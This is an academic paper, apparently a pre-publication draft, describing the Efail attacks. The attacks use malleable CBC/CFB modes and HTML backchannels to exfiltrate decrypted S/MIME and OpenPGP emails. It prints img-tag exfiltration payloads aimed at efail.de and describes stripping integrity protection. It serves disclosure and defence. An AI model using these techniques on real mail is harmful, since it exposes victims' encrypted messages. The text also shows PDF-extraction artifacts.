Efail: Breaking S/MIME and OpenPGP Email Encryption usingExfiltration Channels

AbstractOpenPGP and S/MIME are the two prime standards

for providing end-to-end security for emails. WhileS/MIME is mostly used to secure corporate email en-vironments, several human rights organizations recom-mend OpenPGP even for sensitive communication inview of powerful attackers. From today’s viewpoint thisis surprising as both standards rely on outdated crypto-graphic primitives that were responsible for vulnerabil-ities in TLS, SSH, or IPsec. It seems that the beliefin email security is based on the fact that email is non-interactive and thus an attacker cannot use email decryp-tion as an oracle.

We show that this assumption is wrong. We usea novel attack technique called crypto gadgets to in-ject malicious plaintext snippets into encrypted emailsvia malleable encryption. These snippets abuse existingand standard-conforming backchannels, for example, inHTML, CSS, or x509 functionality, to exfiltrate the fullplaintext after decryption. The attack works for emailseven if they were collected long ago, and is triggeredwhen the victim decrypts a single maliciously craftedemail from the attacker. The attack has a large surface,since for each encrypted email sent to n recipients, thereare n+1 mail clients that are susceptible to our attack.

We devise working crypto gadgets for both OpenPGPand S/MIME encryption, and show that exfiltration chan-nels exist for 25 of the 35 tested S/MIME email clientsand 10 of the 28 tested OpenPGP email clients. While itis necessary to change the OpenPGP and S/MIME stan-dards to fix these vulnerabilities, some clients had evenmore severe implementation flaws allowing straightfor-ward exfiltration of the plaintext.

1 Introduction

Email. Despite the emergence of many novel messag-ing technologies, email is still one of the most commonmethods to exchange information and data. According

to a study by Radicati, the total number of emails ex-changed in 2017 reached 269 billion per day [1]. Theseemail messages contain sensitive data, and are often usedto secure other applications. One example for the latteris the password reset feature of many security, where ahyperlink to reset the password is included in the bodyof the email. Thus, gaining access to this email contentcan be used to comprise additional services of the victim.

End-to-end encryption. While transport security be-tween mail servers is useful against some attacker sce-narios, it does not offer reliable security guarantees re-garding confidentiality and authenticity of emails. Re-ports of pervasive data collection efforts by nation stateactors, large-scale breaches of email servers, revealingmillions of email messages [2–5], or attackers compro-mising email accounts to search the emails for valuabledata [6, 7] underline that transport security alone is notsufficient.

End-to-end encryption is designed to protect user datain such scenarios. With end-to-end encryption, the emailinfrastructure becomes merely a transportation servicefor opaque email data and no compromise – aside fromthe endpoints of sender or receiver – should affect thesecurity of an end-to-end encrypted email.

S/MIME and OpenPGP. The two most prominent stan-dards offering end-to-end encryption for email, S/MIME(Secure / Multipurpose Internet Mail Extensions) andOpenPGP (Pretty Good Privacy), co-exist for more thantwo decades now. Although the cryptographic securityof them was subject to criticism [8–10], little was pub-lished about practical attacks. Instead, S/MIME is com-monly used in corporate and government environments.1

It benefits from its ability to integrate within PKIs andthat most widely-used email clients support it by de-fault. OpenPGP often requires the installation of ad-ditional software and, besides a steady userbase within

1https://gist.github.com/rmoriz/5945400 lists alarge list of European companies and agencies supporting S/MIME.

1

Confid

entia

l, do n

ot pu

blish

!

the technical community, is recommended for people inhigh-risk environments. In fact, human rights organiza-tions such as Amnesty International,2 EFF,3 or Reporterswithout Borders4 recommend using PGP. The story ofhow NSA insider Edward Snowden convinced reporterGlenn Greenwald to use email encryption has becomefamous, and his video “GPG for journalists” is still avail-able on the Internet. Furthermore, several services suchas Facebook5 or Gmail6 offer users to enable email en-cryption using PGP.Attack scenario. In our model, the attacker is ableto collect end-to-end encrypted emails, either througha man-in-the-middle attack on the network, by access-ing a SMTP server, by accessing the IMAP account onthe server, or by some other means. He may store theseemails for some time before he starts his attack.

To decrypt the emails, he first manipulates their ci-phertext by using appropriate crypto gadgets. In order tomake these manipulations work, he may make informedguesses about the operating system, the email client andthe encryption software the victim uses.

He then sends the manipulated email to one of theoriginal receivers, or to the original sender. He may hidethis by choosing new FROM, DATE and SUBJECT fields,and he may hide the manipulated ciphertext by hidingit within an invisible iFrame. Thus the attack mail thevictim receieves looks totally unsuspicious.

Once he opens the email in his client, the manipulatedciphertext will be decrypted – first the private key of thevictim is used to decrypt the session key s, and then thissession key is used to decrypt the manipulated ciphertextc. The decrypted plaintext now contains, due to the ma-nipulations, an exfiltration channel (e.g. an HTML hy-perlink) that will send the decrypted plaintext as a wholeor in parts to the attacker.Backchannels and exfiltration channels. One of thebasic building blocks for our attacks are backchan-nels. A backchannel is any functionality that inter-acts with the network, for example, a method forforcing the email client to invoke an external URL.A simple example uses an HTML image tag <imgsrc="http://efail.de"> which forces the emailclient to download an image from efail.de. Thesebackchannels are widely known for their privacy im-plications as they can leak whether and when the user

2https://www.amnesty.de/keepitsecret3https://ssd.eff.org/en/module/how-use-pgp-

windows4https://rsf.org/sites/default/files/guide_

journaliste_rsf_2015_en_0.pdf5https://www.facebook.com/notes/protect-

the-graph/securing-email-communications-from-facebook/1611941762379302

6https://security.googleblog.com/2014/06/making-end-to-end-encryption-easier-to.html

opened an email and which software and IP he used.Until now, the fetching of external URLs in email was

only considered to be a privacy threat. In this paper, we abuse backchannels to create plaintext exfiltration chan-nels that allow sending plaintext directly to the attacker. We analyze how an attacker can turn backchannels in email clients to exfiltration channels, and thus obtain vic-tim plaintext messages. In an extensive test of all major email clients, we show their existence for nearly every email client, ranging from classical HTML resources to OCSP requests and Certificate Revocation lists.

Direct exfiltration channels. We discovered several attacks that solely exploit the complex interaction of HTML together with MIME, S/MIME and OpenPGP in email clients. These cases are straightforward to ex-ploit and do not require any changes of the ciphertext. In the most straightforward example of our attacks, the adversary prepares a plaintext email structure that con-tains an <img> element, whose URL is not closed with quotes. He then copies the email ciphertext directly after this element. Once the victim client decrypts the cipher-text, it replaces the ciphertext in-place with its plaintext and attempts to parse the image source content (see Fig-ure 1). The subsequent HTTP request path contains the full plaintext, which is thus sent to an attacker-controlled server. It is astonishing that these vulnerabilities are still present in current versions of Thunderbird or -----------.

Crypto gadget exfiltration channels. Our second set of attacks exploits the construction of obsolete crypto-graphic primitives. OpenPGP solely uses the Cipher Feedback Mode (CFB) and S/MIME solely uses the Ci-pher Block Chaining (CBC) mode of operation. Both modes provide malleability of plaintexts. This property allows an attacker to reorder, remove or insert ciphertext blocks, or to perform meaningful plaintext modifications without the encryption key. More concretely, he can flip specific bits in the plaintext or even create arbitrary plain-text blocks if he knows parts of the plaintext. Malleabil-ity of these two encryption modes is well-known and has been exploited in many attacks on network protocols like TLS, IPsec, or SSH [11–22], but it has not been exploited in plaintext-recovery attacks on email standards.

We use the malleability of CBC and CFB to construct so called crypto gadgets that allow us to create chosen plaintexts with any length under the assumption that the attacker knows one plaintext block. These crypto gad-gets are then used to inject malicious plaintext snippets within the actual plaintext. A perfect crypto gadget at-tack is possible if the attacker knows a single complete plaintext block from the ciphertext, which is 16 bytes for AES. However, fewer known plaintext bytes may also be sufficient, depending on the exfiltration channel that the attacker aims for. Guessing small parts of plaintext is

2

Confid

entia

l, do n

ot pu

blish

!

typically not a problem since there are hundreds of bytesof structured metadata in each email that are always staticand only differ among email clients. As emails containthe user agent string, the attacker knows which emailclient the victim uses.

With this technique, we were able to defeat the encryp-tion modes used in both S/MIME and PGP. While attack-ing S/MIME is straightforward, for OpenPGP, we neededto develop more complex exploit techniques upon cryptogadgets because the data is typically compressed beforeencryption.Responsible disclosure We have disclosed our find-ings to all affected developers and we are working withthem to fix the vulnerabilities. Regarding the OpenPGPand S/MIME standards, we have contacted the workinggroups.Contributions. We make the following contributions:

• We describe practical attacks against major emailclients allowing to exfiltrate decrypted emails di-rectly, without ciphertext modifications.

• We introduce the novel concept of crypto gadgets,which allow to inject malicious chosen plaintextsnippets into the email ciphertext. We describe andapply crypto gadgets for the CBC and CFB modesused in email encryption.

• We analyze all major email clients for backchannelsthat can be used for the creation of exfiltration chan-nels.

• OpenPGP’s plaintext compression significantlycomplicates our attack. We describe techniquesto create arbitrary plaintexts from specific changesin the compressed plaintext using advanced cryptogadgets.

• We discuss medium and long-term countermeasuresfor email clients and the S/MIME and PGP stan-dards.

2 Background

In its simplest form, an email is a text message con-forming to the Internet Message Format (IMF) [23]. Asthe IMF lacks features that are required in the modernInternet, such as the transmission of binary data, it isaugmented with Multipurpose Internet Mail Extension(MIME) [24] to support transmission of multimedia mes-sages or – in case of OpenPGP and S/MIME – to allowend-to-end encryption of emails.S/MIME and CMS. The Secure/Multipurpose InternetMail Extension (S/MIME) is an extension to MIMEdescribing how to send and receive secured MIME

data [25]. It focuses on the MIME-related parts of anemail and relies on the Cryptographic Message Syntax(CMS) to digitally sign, authenticate, or encrypt arbitrarymessages [26]. CMS is a set of binary encoding rules andmethods to create secured message types derived fromPKCS#7.

Pretty Good Privacy. Phil Zimmerman developed thefirst version of Pretty Good Privacy (PGP) in 1991 asa means to enable political activists to communicate se-curely on BBSs, Usenet groups and the early Internet.In the late ’90s, the IETF published RFC 2440 describ-ing the OpenPGP format, which has been updated sev-eral times. The latest standard is RFC 4880, published in2007, which describes a variety of cryptographic primi-tives for encrypting and signing digital data [27].

2.1 Cryptographic basicsIn the email context, both S/MIME and PGP use hybridencryption, in which the sender generates a random ses-sion key s that is used to symmetrically encrypt the mes-sage m into a cipher text c.

The session key s is encrypted with at least two publickeys using a public key encryption scheme. The first en-cryption of s happens with the public key of the sender.Additional encryptions are done using all the public keysof the intended receivers. Thus, s will be encrypted undern+ 1 different public keys for n recipients of the email.Since our attacks exploit weaknesses in the symmetricencryption part, we now focus on the symmetric encryp-tion part.

Encryption modes in OpenPGP and S/MIME. Forsymmetric encryption of the message body m, the stan-dards specify several block ciphers, the most relevantbeing 3DES and AES. As encryption modes, S/MIMEuses Cipher Block Chaining (CBC) and OpenPGP usesthe Cipher Feedback Mode (CFB). These modes use thesame final step in the decryption of the ith ciphertextblock Ci in a ciphertext C because both use the XOR op-eration ⊕ on the result of the symmetric key operationdecs(Ci) / encs(Ci) and an adjacent chaining ciphertextblock. For CFB, the chaining block is the following ci-phertext block Ci+1. For CBC this is the previous cipher-text block Ci−1. The decryption of Ci into its respectiveplaintext block Pi for the two encryption modes are thusPi = decs(Ci)⊕Ci−1 for CBC and Pi = encs(Ci)⊕Ci+1for CFB.

Malleability properties in encryption modes. XOR isa malleable operation, i.e. flipping a single bit in oneof the two operands of ⊕ results in a bit flip of the finalplaintext at the same position. Therefore, if we can guessthe Pi, we can transform it into any chosen plaintext P′i .

However, this comes at a cost. Since all of the modesmentioned above are chained, manipulating a ciphertext

3

Confid

entia

l, do n

ot pu

blish

!

block will change the chaining plaintext block in an un-predictable way. For CBC, this is the plaintext block Pi−1corresponding to the manipulated ciphertext to the left,for CFB this is the next plaintext block Pi+1.

This provides us with a useful malleability property ofsingle blocks in OpenPGP and S/MIME ciphertexts withthe caveat that the attacker has to find a way to deal withthe random blocks.

3 Exfiltration over backchannels

Modern email clients are able to assemble and rendervarious types of content, most notably HTML docu-ments, and HTML provides methods to fetch resourceslike images and stylesheets from the Internet. Emailclients may additionally request other information, forexample, to validate the status of a cryptographic certifi-cate. We will refer to all these channels as backchan-nels because they can interact with possibly attacker-controlled servers.

Backchannels in the email context are long-known tobe a privacy issue because they allow detecting if, whenand where a message has been read and may leak fur-ther information such as the user’s mail client and oper-ating system via HTTP request headers. For this reason,the developers of many email clients disable backchannelenabling functionality and ask the user for confirmation.In section 6, we describe our structured analysis of allmajor email clients regarding restrictions of backchan-nels. There are several email clients allowing backchan-nels by default. For a vast majority of those that arerestricting backchannels by default, we found filter by-passes that open backchannels without the user noticing.

In the following sections we show that backchannelscan be used as exfiltration channels to break confiden-tiality of a message.

3.1 Direct exfiltration

During our research we discovered that various emailclients will leak plaintext messages if the attacker craftsspecific emails. Email clients which do not isolate multi-ple MIME parts of an email but display them in the sameHTML document allow attackers to build trivial decryp-tion oracles. All the attacker has to do is wrap the en-crypted message into plaintext MIME parts containingan HTML based backchannel and send the message tothe victim. One possible variant of this attack using the<img> HTML tag is shown in Figure 1 (a).

If the email client first decrypts the encrypted partand then puts all body parts into one HTML documentas shown in Figure 1 (b), the HTML rendering engineleaks the decrypted message to the attacker-controlledweb server as shown in Figure 1 (c).

Figure 1: Malicious email structure and missing context boundaries force the client to decrypt the ciphertext and leak the plaintext using the <img> element.

Because the plaintext message is leaked after decryp-tion, this attack is independent of the email encryption scheme used and may be used even against authenticated encryption schemes. Direct exfiltration channels arise from faulty isolation between secure and insecure mes-sage parts. Although it seems that these are solely im-plementation bugs, their mitigation can be challenging. For example, if the email decryption and email presenta-tion steps are provided by different instances, the email client is not aware of the encrypted email message struc-ture. This scenario is quite common when email security gateways are used.

Out of 48 tested mail clients 17 had missing isola-tion which would allow leaking secret messages to an attacker-controlled web server in case a mail gateway would decrypt and simply replace the encrypted part with the plaintext. Even worse, in five email clients, the con-cept shown in Figure 1 can be exploited directly: ----------, Thunderbird (Windows, macOS, Linux), -----. The first two clients by default load external im-ages without asking and therefore leak the plaintext of S/MIME or OpenPGP encrypted messages. For other clients our attacks require user interaction. For exam-ple, in Thunderbird and Postbox we can completely re-dress the UI with CSS and trick the user into submitting the plaintext with an HTML form if he clicks somewhere

4

Confid

entia

l, do n

ot pu

blish

!

i m a g e s / ef a i l . d e / f a i l . p n g

efail inc. Quality research. http://efail.de/images/efail.png

Your temporary password: Ohyoo4hu …

⚡ ⚡ ⚡ ⚡ ⚡ ⚡ ⚡ ⚡f a i l . d e / O h y o o 4 h u

Leaky window

efail inc. Quality research. http://efail.de/images/efail.png

Your temporary password: Ohyoo4hu …

? ? ? ? ? ? ? ?f a i l . d e / O h y o o 4 h u

Leaky blocksPiPi-1PwPw-1

Figure 2: This CBC leaky block exfiltration channel re-places the respective leaky blocks (Cw−1,Cw) with otherciphertext blocks (Ci−1,Ci) to exfiltrate the plaintext Pi.

into the message. Note that thanks to the MIME struc-ture the attacker can include several ciphertexts into oneemail and exfiltrate their plaintexts at once. For Thun-derbird this security issue is present since v0.1 (2003).

3.2 Towards generic exfiltration channels

The previous section introduced direct exfiltration chan-nels which are remarkably easy to exploit, but are builtupon implementation errors in certain email clients.These generic exfiltration channels should work in allstandard conforming email clients. In the following,we will introduce two techniques for creating exfil-tration channels that abuse standard conforming be-haviour of the email clients. This section introduces theleaky block technique that requires a passive man-in-the-middle (MitM) attacker and that makes assumptions ofthe original content of an encrypted email. These as-sumptions are unlikely, but not impossible, to hold oncommonly sent email in reality.

Assume an encrypted7 HTML email containing abackchannel through an HTML image tag at a knownciphertext block tuple (Cw−1,Cw). We call those blocksthat are part of the image URL leaky spyhole blocks asthey always leak these plaintext blocks when the email isopened.

Through ciphertext reordering as described in subsec-tion 2.1 and shown in Figure 2, the attacker can replacethe leaky blocks with other interesting ciphertext blocks(Ci−1,Ci). In effect, the respective plaintext Pi will bereflected in the URL path, along with the random plain-text block Pi−1.8 The resulting HTTP request createsthe plaintext exfiltration channel that a passive MitM at-tacker can observe.

The next section introduces the crypto gadget tech-nique that creates exfiltration channels for any encryptedemail in most of default email client setups that even anoff-path attacker can access.

7For brevity, we only show the examples for CBC, which can bedirectly adopted to CFB.

8Random data in URLs in HTML emails turned out to be no prob-lem because non-printable characters are URL-encoded automatically.

Ci-1

Pi (known)

Ci

X Ci

Pc (chosen)

(a)

(b)

random plaintext? ? ? ? ? ? ? ?

Pi-1

Ci

Pi (known)

Ci+1

XCi

encryption

Pc (chosen)

(c)

(d)

random plaintext? ? ? ? ? ? ? ?

Pi-1

CBC mode CFB mode

encryptiondecryptiondecryption

decryption decryption encryption encryption

Figure 3: Transforming a known plaintext Pi for CBC (a)and CFB (c) to a chosen plaintext Pc for CBC (b) andCFB (d).

3.3 Crypto gadgets

In the previous example, a mitm attacker could exfiltratethose emails that already contained an external HTMLimage using block reordering. We now relax this con-straint and introduce the concept of crypto gadgets thatallow us to inject arbitrary exfiltration channels givenonly a single block of known plaintext.

Definition. We call a pair of two adjacent ciphertextblocks (Ci−1,Ci) for CBC and (Ci,Ci+1) for CFB acrypto gadget if we know parts of the matching plaintextblock Pi, and if we can transform this known plaintextinto a chosen plaintext by bitwise manipulating Ci−1 orCi+1, respectively.

CBC crypto gadgets. We start with a ciphertext blockCi and its adjacent chaining block Ci−1, from which weknow the plaintext Pi (see Figure 3 (a)). MIME head-ers in emails are sufficient, because they are static forevery email client and offer dozens of known plaintextsbytes. We now transform Pi into any plaintext Pc by re-placing Ci−1 with X =Ci−1⊕Pi⊕Pc as shown in Figure 3(b). This comes at a cost as X will be decrypted with anunknown key, resulting in uncontrollable and unknownrandom bytes in Pi−1.

CFB crypto gadgets. Crypto gadgets for the CFB modework similarly to those in CBC mode – only the sideof the chaining block is changed to Ci+1 as shown inFigure 3 (c) and (d). Again, we can transform a singleknown plaintext block Pi into a chosen plaintext blockPc, whereas this time, the plaintext block Pi+1 will be de-stroyed. X is calculated as X =Ci+1⊕Pi⊕Pc.

Using crypto gadgets to build exfiltration channels.We showed that crypto gadgets allow an attacker to cre-ate arbitrary plaintexts from a given ciphertext, with thecaveat that there is always a block of random data ad-jacent to the chosen plaintext block. To create plaintextexfiltration channels, the attacker must deal with these

5

Confid

entia

l, do n

ot pu

blish

!

Email HeaderContent-type: application/pkcs7-mime; smime-type=enveloped-data

Email Body

EnvelopedData <base64>RecipientInfos (1 . . . n session keys)

EncryptedContentInfoAlgorithmIdentifier

Content-type: multipart/signed ... <encrypted>

Figure 4: Simplified structure of a signed-then-encryptedS/MIME message in multipart/signed format.

random blocks in a way that they are ignored. One canthink of several ways to achieve that.

When comments are available within a context, forexample, via /* and */, exfiltration channels can easilybe constructed by simply commenting out the randomblocks. In case no comments are available, we can makeuse of subtle characteristics of the underlying data for-mat, for example, that unnamed attributes in HTML areignored.

Contrary to common belief that a larger block size isalways preferable in block ciphers, we found 3DES witha blocksize of 8 bytes more challenging to exploit thanAES with a blocksize of 16 bytes. This was mainly dueto the fact that it turned out to be very hard to build work-ing exfiltration channels with just 8 byte blocks of chosenplaintexts, interrupted with 8 random bytes.

4 Attacking S/MIME

In this section we show that S/MIME is vulnerable tocrypto gadget based attacks, and demonstrate how exfil-tration codes can be injected into any S/MIME email.

Message Structure. Most clients can either only sign,only encrypt or sign-then-encrypt outgoing messages.Sign-then-encrypt is the preferred wrapping techniquewhen both confidentiality and authenticity are needed.The body of a signed-then-encrypted email consists oftwo MIME entities, one for signing and one for encryp-tion. The outermost entity – also specified in the emailheader – is typically EnvelopedData (cf. Figure 4). TheEnvelopedData data structure holds the RecipientInfoswith multiple encrypted session keys and the Encrypted-ContentInfo. EncryptedContentInfo defines which sym-metric encryption algorithm was used and finally holdsthe ciphertext. Decryption of the ciphertext reveals theinner MIME entity holding the plaintext message and itssignature.

4.1 Attack description

Crypto gadgets. S/MIME solely uses the CBC en-cryption mode to encrypt data, so we can use the

CBC crypto gadget from Figure 3 for all S/MIMEemails. When decrypted, the ciphertext of a signed-then-encrypted email typically starts with Content-type:multipart/signed, which reveals more known-plaintext bytes than needed for an AES-based cryptogadget attack. Therefore, in the case of S/MIME, wecan directly use the first two cipher blocks (IV,C0) – IVis the initialization vector – and modify the IV to turn P0into any chosen plaintext block Pci .

Injection of exfiltration channels. We show a slightlysimplified version of our attack in Figure 5. The firstblocks of a ciphertext whose plaintext we want to exfil-trate are shown in Figure 5 (a). We use (IV,C0) to con-struct our crypto gadgets because we know the completeassociated plaintext P0. Figure 5 (b) shows the canonicalcrypto gadget as it uses X = IV⊕P0 to set all its plaintextbytes to zero.

The canonical crypto gadget is then used to craft thetwo chosen plaintexts Pc0 and Pc1 in Figure 5 (c, d). Wethen inject these crypto gadgets into the S/MIME cipher-text by replacing the first ciphertext blocks and the orig-inal IV with the two crypto gadgets (Figure 5 (e)). As aresult, we control the plaintext in the first and third block,but the second and fourth block contain random data.The first crypto gadget block Pc0 opens an HTML imagetag and a meaningless attribute named ignore. This at-tribute is used to consume the random data in the secondblock such that the random data is not further interpreted.The third block Pc1 then starts with the closing quote ofthe ignored attribute and adds the src attribute that con-tains the domain name from which the email client issupposed to load the image. The fourth plaintext blockagain contains random data, which is the first part of thepath of the image URL. All subsequent blocks containunknown plaintexts, which now are part of the URL. Fi-nally, when an email client parses this email, the plain-text is sent to the HTTP server defined in Pc1 .

A note on signatures. One could assume that the de-cryption of modified ciphertexts would fail because ofthe digital signature included in the sign-then-encryptemail, but this is not the case, for two reasons: (a)An invalid S/MIME signature typically does not preventthe display/rendering of a message in email clients, and(b) it can easily be removed from the multipart/signedmail body [28]. The latter transforms the signed-and-encrypted email into an encrypted message that has nosignature. Of course, a cautious victim could detect thatthis is not an authentic email, but even then, by the timethe victim detects that this is a malicious email, the plain-text would already have been exfiltrated.

6

Confid

entia

l, do n

ot pu

blish

!

unknown plaintext

decryption

IV

Content-type: mu ltipart/signed unknown plaintextunknown plaintext

random plaintext unknown plaintext unknown plaintext<img ignore=“ “ src=efail.de/? ? ? ? ? ? ? ?

(a)

(e)

<img ignore=“ “ src=efail.de/

(b) (c) (d)

C0

P0 P1

C0 X0 =IV ⊕ P0 ⊕ Pc0

Pc0

C0

Pc1

X1 =IV ⊕ P0 ⊕ Pc1 C0

X0 =IV ⊕ P0 ⊕ Pc0 C0

Pc0

X1 =IV ⊕ P0 ⊕ Pc1 C0 C1 C2 C3

random plaintextPc1

? ? ? ? ? ? ? ?

X =IV ⊕ P0

0 0 0 0 0 0 0 0

decryption

C1 C2

decryption decryption

C3

decryption

C4

decryption

C5

unknown plaintext

decryption decryption decryption

decryption decryptiondecryption decryption decryption decryption

Figure 5: Detailed description of the attack on S/MIME. The original ciphertext is shown in (a). (b) is the canonicalcrypto gadget resulting in an all zero plaintext block. (c) and (d) are two different crypto gadgets Pc0 and Pc1 and (e) isthe modified ciphertext that is sent to the victim.

4.2 Obstacles to be solvedWe must design our exfiltration codes to be ignorant tointerleaved random blocks. Although, this restrictioncan often be circumvented by careful design of the ex-filtration code – recap the usage of the ignore attribute –most exfiltration codes require additional tricks to workin practice.

For example, HTMLs src attribute, requires the ex-plicit naming of the protocol, e.g. http://. Unfortu-nately, src="http:// has already 12 bytes, leavingmerely enough room for a 4 byte domain. A possiblesolution is then to scatter the exfiltration code into multi-ple elements without breaking its functionality. Regard-ing the src attribute, a workaround is to use a <basehref=http> to globally define the protocol first.

Furthermore, emails send as text/plain are prob-lematic: Although there is nothing special about emailssend as text/plain in the context of crypto gadgets,injection of Content-type: text/html turnedout to be difficult, as most clients are restrictive in whatthey accept in email headers. However, even if an emailclient sends emails as text/plain only, a more per-missive parser or client with content sniffing, from anyof the possibly many receivers leads to successful plain-text exfiltration.

5 Attacking OpenPGP

In this section we show that exfiltration attacks withcrypto gadgets are applicable to OpenPGP as well. Sim-

ilar to S/MIME, OpenPGP signatures do not influenceour attacks as they can be stripped. However, we have todeal with two additional obstacles.

First, OpenPGP recommends that data is compressedbefore it is encrypted. We show how the compressionstructure can be exploited to create exfiltration channels.Interestingly, with the compression in place, we can cre-ate exfiltration channels even more precisely and removethe random data blocks from the resulting plaintexts. Inthe unlikely case where an uncompressed OpenPGP ci-phertext is used, the attacks shown in subsection 4.1 ap-ply directly.

Second, OpenPGP by default uses Modification De-tection Codes (MDC) to provide integrity to the plain-text. The OpenPGP standard states that detected modifi-cations to the ciphertext should be “treated as a securityproblem”, but does not define what to do in case of se-curity problems. The correct way of handling this wouldbe to drop the message and notify the user. However,if clients try to display whatever is left of the messageas a “best effort”, exfiltration channels may be triggered.Another way to deal with the integrity protection is tochange the packet type to non-integrity protected. Thisdowngrade attack has been known since 2002 [29], butnever used in an actual attack..

In order to understand how the integrity protection canbe disabled and how compression can be defeated, wehave to go into more detail of OpenPGP.

7

Confid

entia

l, do n

ot pu

blish

!

5.1 OpenPGP packet structureIn OpenPGP, packets are of the form tag/length/body.The tag denotes the packet type as listed in Table 1. Thebody contains either another nested packet or arbitraryuser data. The size of the body is encoded in the lengthfield.

Tag no. Type of PGP packet

8 CD: Compressed Data Packet9 SE: Symmetrically Encrypted Packet

11 LD: Literal Data Packet18 SEIP: Symmetrically Encrypted and Integrity

Protected Packet19 MDC: Modification Detection Code Packet

60 – 63 Experimental packets (ignored by clients)

Table 1: PGP packet types used throughout this paper.

Message encryption. A message is encrypted in foursteps: (1) the message m is encapsulated in a Literal Data(LD) packet. (2) the LD packet is compressed via deflateand encapsulated in a Compressed Data (CD) packet. (3)the Modification Detection Code (MDC) over the CDpacket is calculated and appended to the CD packet asan MDC packet. (4), and finally, the concatenated CDand MD packets are encrypted and the ciphertext is en-capsulated in an Symmetrically Encrypted and IntegrityProtected (SEIP) packet (see Figure 6).

5.2 Defeating integrity protectionModern clients use the SEIP packet type, in which anymodification of the plaintext will be detected due to amismatch of the SHA-1 checksums of the message andthe attached MDC packet.

Invalidating MDC. The simplest solution to this prob-lem is to modify the ciphertext and let the victim pro-cess the modified packet. In a case the victim uses avulnerable email client the ciphertext is decrypted andprocessed. As we show in the next section this assump-tion is real.

SEIP (Tag 18) || Length

CD (Tag 8) || Length

LD (Tag 11) || Length

...Content-type: multipart/mixed; boundary="..."

<encrypted>

9fbd5d27474c2670d78f71c32ef5404e37c9cd88

MDC (Tag 19) || Length

<compressed>

Figure 6: Nesting of a Symmetrically Encrypted and In-tegrity Protected Data Packet in OpenPGP.

Stripping integrity protection. We can disable the in-tegrity protection by changing the SEIP packet to a Sym-metrically Encrypted (SE) packet type, which has no in-tegrity protection. Changing the packet tag is straight-forward as it is not part of the encryption (see Figure 6).Furthermore, we remove 22 bytes from the end of theciphertext to strip the MDC packet.

There is one caveat here: a copy of the last two bytesof the IV are added just after the first block. Originallythis was used to perform an integrity quick check onthe session key. Since an attack was published againstthis [30], its interpretation is discouraged [27], and thetwo bytes are ignored. They depict the beginning of thefirst real plaintext block and the SE and SEIP packettypes treat them differently. While the SE type resyn-chronizes the block boundaries after encrypting thesetwo additional bytes, the SEIP does not perform thisresynchronization. To repair the decryption after wechanged SEIP to SE, we need to insert two bytes at thestart of our first block to compensate for the missingbytes, as described before [29, 31].

In the next sections we will analyze the applicability ofthese attacks on against real clients. Having removed theintegrity protection, we can now proceed with the attackand exfiltrate compressed data.

5.3 Defeating deflateOpenPGP utilizes the deflate algorithm [32] to compressLD packets before encrypting them. It is based on LZ77(specifically LZSS) and Huffman Coding. Although, theexact details are not important for this paper, it is im-portant to note that a single message may be partitioned,such that different modes of compression can be used fordifferent segments of the message.Modes of compression. The standard defines threemodes of compression: uncompressed, compressed withfixed Huffman trees, and compressed with dynamicHuffman trees. It is specified by a header prepended toeach segment. A single OpenPGP CD packet can containmultiple compressed or uncompressed segments.9

Backreferences. Typically, a full message is wrappedinside a single compressed segment. Then, the algorithmapplies a search for text fragment repetitions of certainlength within the boundaries of a sliding window. If arepetition is found, it is replaced with a shorter pointer toits previous occurrence.

For example, the text How much wood coulda woodchuck chuck is shortened to How muchwood could a <-13, 4>chuck <-6, 5>. Inreality, the deflate algorithm operates bit-by-bit toachieve a higher compression level. The repeating

9RFC 1951 speaks of “blocks”. We change the terminology to “seg-ments” for better readability.

8

Confid

entia

l, do n

ot pu

blish

!

strings are inserted into the Huffman trees and placedbefore the compressed text. During the decompressionprocess, the algorithm uses the Huffman tree to searchfor patterns.Uncompressed segments. In addition to compressedsegments, the deflate data format also specifies uncom-pressed segments. These segments are also used duringthe search for repetitions, but, in contrast to compressedsegments, may contain arbitrary data. This is an impor-tant observation, because it allows to work around thelimited amount of known plaintext.Dynamic and fixed Huffman trees. Starting fromaround 90 to 100 bytes of plaintext, deflate uses a dy-namic Huffman tree that is serialized to bytes and formsthe start of the deflate data. Dynamic Huffman treeschange substantially and are difficult to predict for partlyunknown plaintexts. For shorter texts, a fixed Huffmantrees is used, that is statically defined in [32] and not lo-cated in the data. In the following, we assume fixed Huff-man trees to outline the attack.

5.3.1 Creating a crypto gadget

To construct a CFB crypto gadget we need to have someknown plaintext. Similarly to S/MIME, PGP emailsalso contain known headers and plaintext blocks, e.g.,Content-Type: multipart/mixed. However,OpenPGP clients generally apply plaintext compressionand the compressed plaintext is difficult to predict evenif the attacker knows the required 16 bytes of the plain-text. This is a problem for the attacker as it shrinks theamount of plaintext an attacker can inject without beinginterrupted by random data. Most promising is the firstencrypted block as it consists of OpenPGP packet meta-data and compression headers.Adjusting crypto gadget lengths. Although, a full 16byte block of known plaintext is optimal, it is also pos-sible to work with crypto gadgets in case not all bytesof a full block are known. Then, the attacker can onlychoose the known plaintext bytes in the block while theunknown plaintext bytes result in random bytes in the at-tack. For email clients, we found that knowing the firstten plaintext bytes is sufficient for the attack described inthis section.10

We measured the complexity to guess the first n bytesof the first compressed plaintext block for 1 millionemails encrypted with GnuPG as shown in Table 2. Thefirst six bytes are static and the two bytes on offset 1,2denote the length of the OpenPGP packet, which the at-tacker can derive from the ciphertext length.

We believe the assumption of creating 220.7 emails isfeasible if we consider a highly motivated attacker. How-ever, the number of emails can be reduced if we take

10Ten bytes is not a hard limit and may be improved in future work.

Offset (n) 0 1 2 3 4 5 6 7 8 9 10 11 12

# values 1 1 1 1 1 1 13 55 51 47 71 67 71

Guesses 0 0 0 0 0 0 24 210 216 222 229 236 243

Table 2: Estimating the approximate amount of tries re-quired to guess the first n bytes of the first compressedplaintext block. The analysis is based on 500.000 uniqueemails.

further bugs into consideration. For example, in subsec-tion 5.4 we show how we can exploit the behavior of thecurrent Thunderbird versions to guess the unknown bytesmuch faster.

By exploiting backreferences in the compression al-gorithm we are able to use only 10 bytes long cryptogadgets. These backreferences allow us to reference andconcatenate arbitrary blocks of data and thus create ex-filtration channels more precisely. Therefore, instead oftrying to work around the compression, we use it to pre-cisely inject our exfiltration codes in compressed form.

5.3.2 Exfiltrating compressed plaintexts

For the sake of simplicity, we assume an OpenPGP en-crypted email with dynamic Huffman tree and at leastone complete block of known plaintext.

Assume we are in possession of an OpenPGP SEpacket which decrypts to a compressed plaintext. Weknow one decrypted block which allows us to construct acrypto gadget and thus arbitrary number of chosen plain-texts. Our goal is to construct a ciphertext which decryptsto a compressed packet. Its decompression leads to anexfiltration of the target plaintext.

